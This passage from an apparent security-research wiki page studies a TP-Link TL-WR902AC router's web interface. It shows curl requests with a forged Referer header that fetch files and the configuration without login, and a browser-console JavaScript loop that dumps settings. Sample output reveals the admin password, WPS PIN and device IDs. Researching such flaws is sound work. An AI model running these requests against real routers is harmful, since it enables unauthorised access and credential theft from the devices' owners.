│   │   ├── loginButton1.png&lt;br /&gt;
│   │   ├── logo.png&lt;br /&gt;
│   │   ├── ok.png&lt;br /&gt;
│   │   ├── password.png&lt;br /&gt;
│   │   ├── qr.png&lt;br /&gt;
│   │   ├── top-right.png&lt;br /&gt;
│   │   ├── tp-beta-mark.png&lt;br /&gt;
│   │   ├── username.png&lt;br /&gt;
│   │   └── wrong.png&lt;br /&gt;
│   ├── mark_copy.gif&lt;br /&gt;
│   ├── menu-white-noradius.png&lt;br /&gt;
│   ├── menu-white.png&lt;br /&gt;
│   ├── menu-yellow.png&lt;br /&gt;
│   ├── minus.gif&lt;br /&gt;
│   ├── plus.gif&lt;br /&gt;
│   ├── pw.gif&lt;br /&gt;
│   ├── signalstrength.gif&lt;br /&gt;
│   ├── switch.gif&lt;br /&gt;
│   └── td-blue.png&lt;br /&gt;
├── index.htm&lt;br /&gt;
├── js&lt;br /&gt;
│   ├── 3g.js&lt;br /&gt;
│   ├── cryptoJS.min.js&lt;br /&gt;
│   ├── custom.js&lt;br /&gt;
│   ├── encrypt.js&lt;br /&gt;
│   ├── err.js&lt;br /&gt;
│   ├── help.js&lt;br /&gt;
│   ├── language.js&lt;br /&gt;
│   ├── lib.js&lt;br /&gt;
│   ├── local.js&lt;br /&gt;
│   ├── oid_str.js&lt;br /&gt;
│   ├── root.js&lt;br /&gt;
│   ├── str.js&lt;br /&gt;
│   ├── tpEncrypt.js&lt;br /&gt;
│   └── vlancfg.js&lt;br /&gt;
├── main&lt;br /&gt;
│   ├── alg.htm&lt;br /&gt;
│   ├── arpBind.htm&lt;br /&gt;
│   ├── arpBindEdit.htm&lt;br /&gt;
│   ├── arpList.htm&lt;br /&gt;
│   ├── autoPVC.htm&lt;br /&gt;
│   ├── backNRestore.htm&lt;br /&gt;
│   ├── basicSec.htm&lt;br /&gt;
│   ├── clientMode.htm&lt;br /&gt;
│   ├── clientMode5G.htm&lt;br /&gt;
│   ├── cwmp.htm&lt;br /&gt;
│   ├── ddos.htm&lt;br /&gt;
│   ├── ddos_host.htm&lt;br /&gt;
│   ├── defGateway.htm&lt;br /&gt;
│   ├── defGateway6.htm&lt;br /&gt;
│   ├── defaultCfg.htm&lt;br /&gt;
│   ├── dhcp.htm&lt;br /&gt;
│   ├── dhcpAP.htm&lt;br /&gt;
│   ├── dhcpClient.htm&lt;br /&gt;
│   ├── dhcpCond.htm&lt;br /&gt;
│   ├── dhcpCondEdit.htm&lt;br /&gt;
│   ├── dhcpEdit.htm&lt;br /&gt;
│   ├── dhcpEditAP.htm&lt;br /&gt;
│   ├── dhcpStatic.htm&lt;br /&gt;
│   ├── dhcpStaticEdit.htm&lt;br /&gt;
│   ├── diagnostic.htm&lt;br /&gt;
│   ├── div.htm&lt;br /&gt;
│   ├── dlnaManage.htm&lt;br /&gt;
│   ├── dmz.htm&lt;br /&gt;
│   ├── dsl.htm&lt;br /&gt;
│   ├── dslcfg.htm&lt;br /&gt;
│   ├── dynamicIp.htm&lt;br /&gt;
│   ├── ethIptv.htm&lt;br /&gt;
│   ├── ethWan.htm&lt;br /&gt;
│   ├── ethWan6.htm&lt;br /&gt;
│   ├── ftpSrv.htm&lt;br /&gt;
│   ├── fw6Lan.htm&lt;br /&gt;
│   ├── fw6LanEdit.htm&lt;br /&gt;
│   ├── fw6Rules.htm&lt;br /&gt;
│   ├── fw6RulesEdit.htm&lt;br /&gt;
│   ├── fw6Sche.htm&lt;br /&gt;
│   ├── fw6ScheEdit.htm&lt;br /&gt;
│   ├── fw6Wan.htm&lt;br /&gt;
│   ├── fw6WanEdit.htm&lt;br /&gt;
│   ├── fwLan.htm&lt;br /&gt;
│   ├── fwLanEdit.htm&lt;br /&gt;
│   ├── fwRules.htm&lt;br /&gt;
│   ├── fwRulesEdit.htm&lt;br /&gt;
│   ├── fwSche.htm&lt;br /&gt;
│   ├── fwScheEdit.htm&lt;br /&gt;
│   ├── fwWan.htm&lt;br /&gt;
│   ├── fwWanEdit.htm&lt;br /&gt;
│   ├── group.htm&lt;br /&gt;
│   ├── groupAdd.htm&lt;br /&gt;
│   ├── hw_nat.htm&lt;br /&gt;
│   ├── ipoa.htm&lt;br /&gt;
│   ├── ipsec.htm&lt;br /&gt;
│   ├── ipsecConfig.htm&lt;br /&gt;
│   ├── iptv.htm&lt;br /&gt;
│   ├── lan.htm&lt;br /&gt;
│   ├── lan6.htm&lt;br /&gt;
│   ├── lanAP.htm&lt;br /&gt;
│   ├── lanEdit.htm&lt;br /&gt;
│   ├── lanEditAP.htm&lt;br /&gt;
│   ├── ledControl.htm&lt;br /&gt;
│   ├── local.htm&lt;br /&gt;
│   ├── log.htm&lt;br /&gt;
│   ├── logConf.htm&lt;br /&gt;
│   ├── macClone.htm&lt;br /&gt;
│   ├── manageCtrl.htm&lt;br /&gt;
│   ├── no.htm&lt;br /&gt;
│   ├── parentCtrl.htm&lt;br /&gt;
│   ├── password.htm&lt;br /&gt;
│   ├── phDDNS.htm&lt;br /&gt;
│   ├── pingNTraceRoute.htm&lt;br /&gt;
│   ├── pingWatchDog.htm&lt;br /&gt;
│   ├── portTrigEdit.htm&lt;br /&gt;
│   ├── portTrigger.htm&lt;br /&gt;
│   ├── pppoa.htm&lt;br /&gt;
│   ├── pppoe.htm&lt;br /&gt;
│   ├── printSrv.htm&lt;br /&gt;
│   ├── qos.htm&lt;br /&gt;
│   ├── qosAppEdit.htm&lt;br /&gt;
│   ├── qosClsEdit.htm&lt;br /&gt;
│   ├── qosList.htm&lt;br /&gt;
│   ├── qosQueueEdit.htm&lt;br /&gt;
│   ├── qs3g.htm&lt;br /&gt;
│   ├── qsAuto.htm&lt;br /&gt;
│   ├── qsBandSelect.htm&lt;br /&gt;
│   ├── qsDetectErr.htm&lt;br /&gt;
│   ├── qsDsl.htm&lt;br /&gt;
│   ├── qsEnd.htm&lt;br /&gt;
│   ├── qsIPoA.htm&lt;br /&gt;
│   ├── qsL2tp.htm&lt;br /&gt;
│   ├── qsLan.htm&lt;br /&gt;
│   ├── qsMacClone.htm&lt;br /&gt;
│   ├── qsMode.htm&lt;br /&gt;
│   ├── qsMultiSSID.htm&lt;br /&gt;
│   ├── qsPPP.htm&lt;br /&gt;
│   ├── qsPPPoA.htm&lt;br /&gt;
│   ├── qsPptp.htm&lt;br /&gt;
│   ├── qsReview.htm&lt;br /&gt;
│   ├── qsSave.htm&lt;br /&gt;
│   ├── qsStaIP.htm&lt;br /&gt;
│   ├── qsStart.htm&lt;br /&gt;
│   ├── qsType.htm&lt;br /&gt;
│   ├── qsWl.htm&lt;br /&gt;
│   ├── qsWl5G.htm&lt;br /&gt;
│   ├── qsWlAP.htm&lt;br /&gt;
│   ├── qsWlAP5G.htm&lt;br /&gt;
│   ├── qsWlClient.htm&lt;br /&gt;
│   ├── qsWlHotspot.htm&lt;br /&gt;
│   ├── qsWlScanClient.htm&lt;br /&gt;
│   ├── qspassword.htm&lt;br /&gt;
│   ├── remote.htm&lt;br /&gt;
│   ├── restart.htm&lt;br /&gt;
│   ├── rip.htm&lt;br /&gt;
│   ├── route.htm&lt;br /&gt;
│   ├── route6.htm&lt;br /&gt;
│   ├── route6Edit.htm&lt;br /&gt;
│   ├── routeEdit.htm&lt;br /&gt;
│   ├── routeTbl.htm&lt;br /&gt;
│   ├── snmp.htm&lt;br /&gt;
│   ├── softup.htm&lt;br /&gt;
│   ├── stat.htm&lt;br /&gt;
│   ├── staticIp.htm&lt;br /&gt;
│   ├── status.htm&lt;br /&gt;
│   ├── status6.htm&lt;br /&gt;
│   ├── sysMode.htm&lt;br /&gt;
│   ├── time.htm&lt;br /&gt;
│   ├── trafCtrlEdit.htm&lt;br /&gt;
│   ├── trafficCtrl.htm&lt;br /&gt;
│   ├── tunnel6.htm&lt;br /&gt;
│   ├── upnp.htm&lt;br /&gt;
│   ├── usb3g.htm&lt;br /&gt;
│   ├── usb3gModemList.htm&lt;br /&gt;
│   ├── usb3gUpload.htm&lt;br /&gt;
│   ├── usbFolderBrowse.htm&lt;br /&gt;
│   ├── usbManage.htm&lt;br /&gt;
│   ├── usbSmbSrv.htm&lt;br /&gt;
│   ├── usbUserAccount.htm&lt;br /&gt;
│   ├── userFeedBack.htm&lt;br /&gt;
│   ├── virtualServer.htm&lt;br /&gt;
│   ├── vtlServEdit.htm&lt;br /&gt;
│   ├── wan.htm&lt;br /&gt;
│   ├── wlAcl.htm&lt;br /&gt;
│   ├── wlAcl5G.htm&lt;br /&gt;
│   ├── wlAclAdv.htm&lt;br /&gt;
│   ├── wlAclAdv5G.htm&lt;br /&gt;
│   ├── wlAclAdvMssid.htm&lt;br /&gt;
│   ├── wlAclMssid.htm&lt;br /&gt;
│   ├── wlAdv.htm&lt;br /&gt;
│   ├── wlAdv5G.htm&lt;br /&gt;
│   ├── wlBasic.htm&lt;br /&gt;
│   ├── wlBasic5G.htm&lt;br /&gt;
│   ├── wlBasicAP.htm&lt;br /&gt;
│   ├── wlBasicAP5G.htm&lt;br /&gt;
│   ├── wlBasicHotspot.htm&lt;br /&gt;
│   ├── wlBasicHotspot5G.htm&lt;br /&gt;
│   ├── wlBasicMssid.htm&lt;br /&gt;
│   ├── wlConnect.htm&lt;br /&gt;
│   ├── wlConnect5G.htm&lt;br /&gt;
│   ├── wlExtender.htm&lt;br /&gt;
│   ├── wlExtender5G.htm&lt;br /&gt;
│   ├── wlFrequency.htm&lt;br /&gt;
│   ├── wlGuest.htm&lt;br /&gt;
│   ├── wlGuest5G.htm&lt;br /&gt;
│   ├── wlGuestStats.htm&lt;br /&gt;
│   ├── wlGuestStats5G.htm&lt;br /&gt;
│   ├── wlQss.htm&lt;br /&gt;
│   ├── wlQss5G.htm&lt;br /&gt;
│   ├── wlQssAdv.htm&lt;br /&gt;
│   ├── wlQssAdv5G.htm&lt;br /&gt;
│   ├── wlScan.htm&lt;br /&gt;
│   ├── wlScan5G.htm&lt;br /&gt;
│   ├── wlScanClient.htm&lt;br /&gt;
│   ├── wlScanClient5G.htm&lt;br /&gt;
│   ├── wlScheEdit.htm&lt;br /&gt;
│   ├── wlScheEdit5G.htm&lt;br /&gt;
│   ├── wlSec.htm&lt;br /&gt;
│   ├── wlSec5G.htm&lt;br /&gt;
│   ├── wlSecMssid.htm&lt;br /&gt;
│   ├── wlStats.htm&lt;br /&gt;
│   ├── wlStats5G.htm&lt;br /&gt;
│   ├── wlThroughput.htm&lt;br /&gt;
│   ├── wlThroughput5G.htm&lt;br /&gt;
│   ├── yandexDns.htm&lt;br /&gt;
│   └── yandexDnsEdit.htm&lt;br /&gt;
├── mainFrame.htm&lt;br /&gt;
├── qr.htm&lt;br /&gt;
└── xml&lt;br /&gt;
    └── log.txt&lt;br /&gt;
&lt;br /&gt;
8 directories, 388 files&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using Packet Injection&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;In order to extract information from the server, one can either use cURL to forge packets or by using predefined JS functions executed via the webbrowsers console. Since any direct calls to the webserver end up in an &amp;lt;code&amp;gt;403 Forbidden&amp;lt;/code&amp;gt; http error, except for the root of the webserver, one needs to set the referer header to match the webservers IP address, this is necessary because the webpages is configured that the main frame usually loads content via AJAX without ever reloading the complete webpage. Using this method one can also set the authorization or session cookie if already aquired. Anywhow, this isn&#039;t needed for most calls on the TP-WR902AC with the FW version 170828. Seperate version may be listed below, depending on the firmware version.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download any file from the webserver (Unauthorized)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;curl -X GET &amp;quot;http://192.168.1.1/js/oid_str.js&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get current session information (Authorized)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;curl -X POST &amp;quot;http://192.168.1.1/cgi/info&amp;quot; --cookie &amp;quot;Authorization=Basic YWRtaW46YWRtaW4=&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;var userType=&amp;quot;Admin&amp;quot;;&lt;br /&gt;
var bSecured=0;&lt;br /&gt;
var clientLocal=1;&lt;br /&gt;
var clientIp=&amp;quot;192.168.1.100&amp;quot;;&lt;br /&gt;
var clientMac=&amp;quot;XX:XX:XX:XX:XX:XX&amp;quot;;&lt;br /&gt;
$.ret=0;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download the device configuration (Unauthorized)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;$ curl -X POST &amp;quot;http://192.168.1.1/cgi/conf.bin&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot; --output ./conf.bin&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The downloaded &amp;lt;code&amp;gt;conf.bin&amp;lt;/code&amp;gt; has not been analyzed so far.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using JavaScript Injection&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;cURL could also be used for CGI call using forged payload. But since the data format accepted by the CGI deamon is quite complicate to understand, so it is easier to let the JS libaries, delivered with the front-end webpage, do that job for us. Still, it is possible to forge or replay such payloads if aquired via packet sniffing or similar. The CGI accepted dataformat gets not much further analyzed here. Instead, the following commands are executed via the console of a webrowser executed on the TP-Link webpage using the &amp;lt;code&amp;gt;$.act()&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$exe()&amp;lt;/code&amp;gt; function defined in &amp;lt;code&amp;gt;/js/lib.js&amp;lt;/code&amp;gt;. This will be elaborated in the next chapter [[#Common Gateway Interface|Common Gateway Interface]]. For now the examples used for information gathering without explanations.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin: 10px 0; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The Firmware identifiers used here are in fact the &amp;quot;buildDate&amp;quot; (YYMMDD). I use these to better draw link between differnet devices assuming a common code-base and vulnerabilities. See the [[#Firmware|Firmware]] section for more information.&amp;lt;/div&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get Device Information including FW version.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_GET, IGD_DEV_INFO); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 190428&lt;br /&gt;
$.act(ACT_GET, IGD_DEV_INFO); $.exe(null, false, 0);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Use ACT_GET (and ACT_GL) to create the largest possible Information leaking command.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
var act_get_oid_list = [&amp;quot;IGD&amp;quot;, &amp;quot;IGD_DEV_INFO&amp;quot;, &amp;quot;SYSLOG_CFG&amp;quot;, &amp;quot;ETH_SWITCH&amp;quot;, &amp;quot;SYS_CFG&amp;quot;, &amp;quot;NET_CFG&amp;quot;, &amp;quot;USER_CFG&amp;quot;, &amp;quot;CURRENT_USER&amp;quot;, &amp;quot;APP_CFG&amp;quot;, &amp;quot;HTTP_CFG&amp;quot;, &amp;quot;DYN_DNS_CFG&amp;quot;, &amp;quot;UPNP_CFG&amp;quot;, &amp;quot;DIAG_TOOL&amp;quot;, &amp;quot;NOIP_DNS_CFG&amp;quot;, &amp;quot;CMX_DNS_CFG&amp;quot;, &amp;quot;WAN_TYPE_DETECT&amp;quot;, &amp;quot;DMZ_HOST_CFG&amp;quot;, &amp;quot;TIME&amp;quot;, &amp;quot;HOUR&amp;quot;, &amp;quot;L3_FORWARDING&amp;quot;, &amp;quot;L3_IP6_FORWARDING&amp;quot;, &amp;quot;L2_BRIDGING&amp;quot;, &amp;quot;LAN_HOST_ENTRY&amp;quot;, &amp;quot;WAN_ETH_INTF_STATS&amp;quot;, &amp;quot;WAN_L2TP_CONN_STATS&amp;quot;, &amp;quot;WAN_PPTP_CONN_STATS&amp;quot;, &amp;quot;WAN_PPP_CONN_STATS&amp;quot;, &amp;quot;STAT_CFG&amp;quot;, &amp;quot;DDOS_CFG&amp;quot;, &amp;quot;ARP_BIND&amp;quot;, &amp;quot;TC&amp;quot;, &amp;quot;ALG_CFG&amp;quot;, &amp;quot;FIREWALL&amp;quot;, &amp;quot;IP6_FIREWALL&amp;quot;, &amp;quot;IP6_TUNNEL&amp;quot;, &amp;quot;DSLITE&amp;quot;, &amp;quot;SIT_6RD&amp;quot;, &amp;quot;STORAGE_SERVICE&amp;quot;, &amp;quot;CAPABLE&amp;quot;, &amp;quot;FOLDER_BROWSE&amp;quot;, &amp;quot;DLNA_MEDIA_SERVER&amp;quot;, &amp;quot;SMB_SERVICE&amp;quot;, &amp;quot;FTP_SERVER&amp;quot;, &amp;quot;SYS_MODE&amp;quot;, &amp;quot;EWAN&amp;quot;, &amp;quot;CLOUD_SERVICE&amp;quot;, &amp;quot;FW_UPGRADE_INFO&amp;quot;, &amp;quot;OWNER_INFO&amp;quot;, &amp;quot;CURRENT_USER_INFO&amp;quot;, &amp;quot;CLOUD_DDNS&amp;quot;, &amp;quot;CLOUD_DDNS_ENTRY&amp;quot;, &amp;quot;WAN_ERROR_BLOCK&amp;quot;, &amp;quot;FW_UP_INFO_BLOCK&amp;quot;, &amp;quot;IPPING_DIAG&amp;quot;, &amp;quot;TRACEROUTE_DIAG&amp;quot;, &amp;quot;VLAN&amp;quot;, &amp;quot;IPV6_CFG&amp;quot;, &amp;quot;PRODUCE_INFO&amp;quot;, &amp;quot;MULTIMODE&amp;quot;, &amp;quot;PING_WATCH_DOG&amp;quot;];&lt;br /&gt;
for(let i=0; i&amp;lt;act_get_oid_list.length; i++){&lt;br /&gt;
	$.act(ACT_GET, act_get_oid_list[i]);&lt;br /&gt;
}&lt;br /&gt;
$.act(ACT_GL,LAN_WLAN);&lt;br /&gt;
$.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example Results (447 lines) (&amp;lt;b&amp;gt;including &amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot; and &amp;quot;flashPin&amp;quot;!&amp;lt;/b&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;[0,0,0,0,0,0]0&lt;br /&gt;
deviceSummary=InternetGatewayDevice:1.1[](Baseline:1, EthernetLAN:1)&lt;br /&gt;
LANDeviceNumberOfEntries=1&lt;br /&gt;
WANDeviceNumberOfEntries=0&lt;br /&gt;
[0,0,0,0,0,0]1&lt;br /&gt;
manufacturer=TP-Link&lt;br /&gt;
manufacturerOUI=98DAC4&lt;br /&gt;
modelName=TL-WR902AC&lt;br /&gt;
description=AC750 Wi-Fi Travel Router&lt;br /&gt;
productClass=IGD&lt;br /&gt;
serialNumber=98DAC46E00FC&lt;br /&gt;
hardwareVersion=TL-WR902AC v3 00000001&lt;br /&gt;
softwareVersion=0.9.1 0.1 v0089.0 Build 170828 Rel.57433n(4555)&lt;br /&gt;
modemFirmwareVersion=&lt;br /&gt;
enabledOptions=&lt;br /&gt;
additionalHardwareVersion=00000001&lt;br /&gt;
additionalSoftwareVersion=&lt;br /&gt;
specVersion=1.0&lt;br /&gt;
provisioningCode=&lt;br /&gt;
upTime=16922&lt;br /&gt;
firstUseDate=&lt;br /&gt;
deviceLog=0x58801d58&lt;br /&gt;
X_TP_HardwareID=6146446FA85583FDD5135E8275E48010&lt;br /&gt;
X_TP_FirmwareID=EF04518B7BA1296A8F491C96C45F01E9&lt;br /&gt;
X_TP_HardwareDescription=TL-WR902AC 3.0&lt;br /&gt;
X_TP_isFD=1&lt;br /&gt;
X_TP_DevManufacturerURL=http://www.tp-link.com&lt;br /&gt;
X_TP_DevModelVersion=3.0&lt;br /&gt;
X_TP_ProductID=903311&lt;br /&gt;
X_TP_ProductVersion=137&lt;br /&gt;
X_TP_SoftwareRevision=1437204481&lt;br /&gt;
X_TP_SoftwareRevisionMinor=0&lt;br /&gt;
X_TP_PlatformVersion=2768242945&lt;br /&gt;
X_TP_BuildDate=170828&lt;br /&gt;
X_TP_BuildTime=57433&lt;br /&gt;
[0,0,0,0,0,0]2&lt;br /&gt;
logToRemote=0&lt;br /&gt;
remoteSeverity=4&lt;br /&gt;
serverIP=192.168.0.100&lt;br /&gt;
serverPort=514&lt;br /&gt;
facility=1&lt;br /&gt;
logToLocal=1&lt;br /&gt;
localSeverity=6&lt;br /&gt;
logHeadPos=0&lt;br /&gt;
logTailPos=3897&lt;br /&gt;
[0,0,0,0,0,0]3&lt;br /&gt;
enableVirtualPorts=0&lt;br /&gt;
numberOfVirtualPorts=4&lt;br /&gt;
ifName=eth0&lt;br /&gt;
[0,0,0,0,0,0]4&lt;br /&gt;
flashMac=98:DA:C4:6E:00:FC&lt;br /&gt;
flashPin=37490720&lt;br /&gt;
flashZoneId=EUR&lt;br /&gt;
flashDevId=8000FB75D7711C1F692E48B22DE039B81BA9945D&lt;br /&gt;
flashOemId=A724943A07C41281802668C26C685D1A&lt;br /&gt;
flashSpecialId=45550000&lt;br /&gt;
flashCountryCode=DE&lt;br /&gt;
sign=&lt;br /&gt;
signLen=0&lt;br /&gt;
publicKey1=BgIAAACkAABSU0ExAAQAAAEAAQCNrP4jIUWitcvDIHr3OHnlzLCjGyJoLXgY9uH7tAVaYN+2YWEQ9RuS4PIQo7uWwHs7PYTAh9vF&lt;br /&gt;
publicKey2=pdMfu6NNkdvneLUER5V7Q5HtmPXd3roiIMi55tK7lA0B67bjYpBE/JM+SLbyMRgeNWut0YoufpLNV24ZQa0p7Xj4M5m2ZDclnA==&lt;br /&gt;
publicKeyLen=200&lt;br /&gt;
signStatus=0&lt;br /&gt;
[0,0,0,0,0,0]5&lt;br /&gt;
DNSServers=192.168.0.1,0.0.0.0&lt;br /&gt;
DNSifAliasName=ewan_ipoe_d&lt;br /&gt;
currDNSServer=16820416&lt;br /&gt;
[0,0,0,0,0,0]6&lt;br /&gt;
rootName=&lt;br /&gt;
rootPwd=&lt;br /&gt;
adminName=admin&lt;br /&gt;
adminPwd=admin&lt;br /&gt;
userName=&lt;br /&gt;
userPwd=&lt;br /&gt;
[0,0,0,0,0,0]7&lt;br /&gt;
userName=&lt;br /&gt;
passwd=&lt;br /&gt;
httpSession=&lt;br /&gt;
userSetting=0&lt;br /&gt;
action=0&lt;br /&gt;
loginStatus=0&lt;br /&gt;
userRole=3&lt;br /&gt;
logInCloud=0&lt;br /&gt;
needReconn=0&lt;br /&gt;
[0,0,0,0,0,0]8&lt;br /&gt;
localHost=&lt;br /&gt;
remoteHost=&lt;br /&gt;
[0,0,0,0,0,0]9&lt;br /&gt;
httpCharset=utf-8&lt;br /&gt;
httpLocalEnabled=1&lt;br /&gt;
httpLocalPort=80&lt;br /&gt;
httpRemoteEnabled=0&lt;br /&gt;
httpRemotePort=80&lt;br /&gt;
httpsLocalEnabled=0&lt;br /&gt;
httpsLocalPort=443&lt;br /&gt;
httpsRemoteEnabled=0&lt;br /&gt;
httpsRemotePort=443&lt;br /&gt;
[0,0,0,0,0,0]10&lt;br /&gt;
enable=0&lt;br /&gt;
state=0&lt;br /&gt;
userName=&lt;br /&gt;
password=&lt;br /&gt;
userDomain=&lt;br /&gt;
server=members.dyndns.org&lt;br /&gt;
login=1&lt;br /&gt;
[0,0,0,0,0,0]11&lt;br /&gt;
enable=1&lt;br /&gt;
[0,0,0,0,0,0]12&lt;br /&gt;
currCommand=0&lt;br /&gt;
currHost=0.0.0.0&lt;br /&gt;
lastCommand=0&lt;br /&gt;
lastHost=0.0.0.0&lt;br /&gt;
lastResult=0&lt;br /&gt;
[0,0,0,0,0,0]13&lt;br /&gt;
enable=0&lt;br /&gt;
state=3&lt;br /&gt;
userName=&lt;br /&gt;
password=&lt;br /&gt;
userDomain=&lt;br /&gt;
server=dynupdate.no-ip.com&lt;br /&gt;
login=1&lt;br /&gt;
[0,0,0,0,0,0]14&lt;br /&gt;
enable=0&lt;br /&gt;
state=0&lt;br /&gt;
userName=&lt;br /&gt;
password=&lt;br /&gt;
userDomain1=&lt;br /&gt;
userDomain2=&lt;br /&gt;
userDomain3=&lt;br /&gt;
userDomain4=&lt;br /&gt;
userDomain5=&lt;br /&gt;
server=dns.comexe.cn&lt;br /&gt;
login=1&lt;br /&gt;
[0,0,0,0,0,0]15&lt;br /&gt;
ifName=&lt;br /&gt;
state=1&lt;br /&gt;
wanType=0&lt;br /&gt;
wanTypeGet=0&lt;br /&gt;
[0,0,0,0,0,0]16&lt;br /&gt;
enable=0&lt;br /&gt;
IPAddress=&lt;br /&gt;
[0,0,0,0,0,0]17&lt;br /&gt;
__status=2&lt;br /&gt;
NTPServer1=&lt;br /&gt;
NTPServer2=&lt;br /&gt;
NTPServer3=&lt;br /&gt;
NTPServer4=&lt;br /&gt;
NTPServer5=&lt;br /&gt;
currentLocalTime=2020-06-28T21:31:33+00:00&lt;br /&gt;
localTimeZone=+00:00&lt;br /&gt;
